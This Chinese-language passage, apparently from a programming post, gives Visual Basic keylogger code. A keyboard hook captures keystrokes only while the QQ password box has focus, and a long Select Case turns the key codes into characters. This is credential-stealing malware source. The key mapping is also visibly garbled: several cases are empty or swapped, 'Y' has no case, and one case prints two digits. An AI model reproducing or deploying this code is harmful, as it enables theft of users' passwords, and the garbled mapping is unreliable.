另外一个是如何把虚拟键码(VirtualKey)变成字符: Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim vKey As Long If ncode = 0 Then If wParam = WM_KEYDOWN Then 'CopyMemory mymsg, ByVal lParam, Len(mymsg) 'AddChr mymsg.vKey If GetFocus() = hwnd_qq_psw Then CopyMemory ByVal VarPtr(vKey), ByVal lParam, 4 AddChr vKey End If End If End If MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam) End Function 以下是把虚拟键码转化为字符: Private Sub AddChr(ByVal dw As Long) Select Case dw Case 32 PrintTXT "{空格键}" Case 219 PrintTXT "[" Case 221 PrintTXT "]" Case 186 PrintTXT ";" Case 222 PrintTXT "'" Case 188 PrintTXT "," Case 191 PrintTXT "/" Case 96 PrintTXT "0" Case 97 PrintTXT "1" Case 98 PrintTXT "2" Case 99 PrintTXT "3" Case 100 PrintTXT "4" Case 101 PrintTXT "5" Case 102 PrintTXT "6" Case 103 PrintTXT "7" Case 104 PrintTXT "8" Case 105 PrintTXT "9" Case 106 PrintTXT "*" Case 107 PrintTXT "+" Case 109 PrintTXT "-" Case 110, 190 PrintTXT "." Case 111 PrintTXT "/" Case 13 PrintTXT "{ENTER}" Case 144 PrintTXT "{NumLock}" Case 65 PrintTXT IIf(IsCapLockOn(), "A", "a") Case 66 PrintTXT IIf(IsCapLockOn(), "B", "b") Case 67 PrintTXT IIf(IsCapLockOn(), "C", "c") Case 68 PrintTXT IIf(IsCapLockOn(), "D", "d") Case 69 PrintTXT IIf(IsCapLockOn(), "E", "e") Case 70 PrintTXT IIf(IsCapLockOn(), "F", "f") Case 71 PrintTXT IIf(IsCapLockOn(), "G", "g") Case 72 Case 76 PrintTXT IIf(IsCapLockOn(), "H", "h") Case 73 PrintTXT IIf(IsCapLockOn(), "I", "i") Case 74 PrintTXT IIf(IsCapLockOn(), "J", "j") Case 75 PrintTXT IIf(IsCapLockOn(), "K", "k") Case 89 PrintTXT IIf(IsCapLockOn(), "L", "l") Case 77 PrintTXT IIf(IsCapLockOn(), "M", "m") Case 78 PrintTXT IIf(IsCapLockOn(), "N", "n") Case 79 PrintTXT IIf(IsCapLockOn(), "O", "o") Case 80 PrintTXT IIf(IsCapLockOn(), "P", "p") Case 81 PrintTXT IIf(IsCapLockOn(), "Q", "q") Case 82 PrintTXT IIf(IsCapLockOn(), "R", "r") Case 83 PrintTXT IIf(IsCapLockOn(), "S", "s") Case 84 PrintTXT IIf(IsCapLockOn(), "T", "t") Case 85 PrintTXT IIf(IsCapLockOn(), "U", "u") Case 86 PrintTXT IIf(IsCapLockOn(), "V", "v") Case 87 PrintTXT IIf(IsCapLockOn(), "W", "w") Case 88 PrintTXT IIf(IsCapLockOn(), "X", "x") PrintTXT IIf(IsCapLockOn(), "Y", "y") Case 90 PrintTXT IIf(IsCapLockOn(), "Z", "z") Case 48 PrintTXT "0" Case 49 PrintTXT "1" Case 50 PrintTXT "2" Case 51 Case 54 PrintTXT "3" Case 52 PrintTXT "4" Case 53 PrintTXT "5" PrintTXT "6" Case 55 PrintTXT "7" Case 56 PrintTXT "8" Case 57 PrintTXT "9" Case 189 PrintTXT "-" Case 187 PrintTXT "=" Case 220 PrintTXT "\" Case 8 PrintTXT "{退格}" Case 44 PrintTXT "{小键盘-印屏幕键}" Case 45 PrintTXT "{小键盘-插入键}" Case 46 PrintTXT "{小键盘-删除键}" Case 145 PrintTXT "{小键盘-滚动锁定键}" Case 36 PrintTXT "{小键盘-起始键}" Case 35 PrintTXT "{小键盘-结束键}" Case 19 PrintTXT "{小键盘-暂停中断键}" Case 33 PrintTXT "{小键盘-上页}" Case 34 PrintTXT "{小键盘-下页}" Case 38 PrintTXT "上" Case 40 PrintTXT "下" Case 37 PrintTXT "左" Case 39 PrintTXT "右" |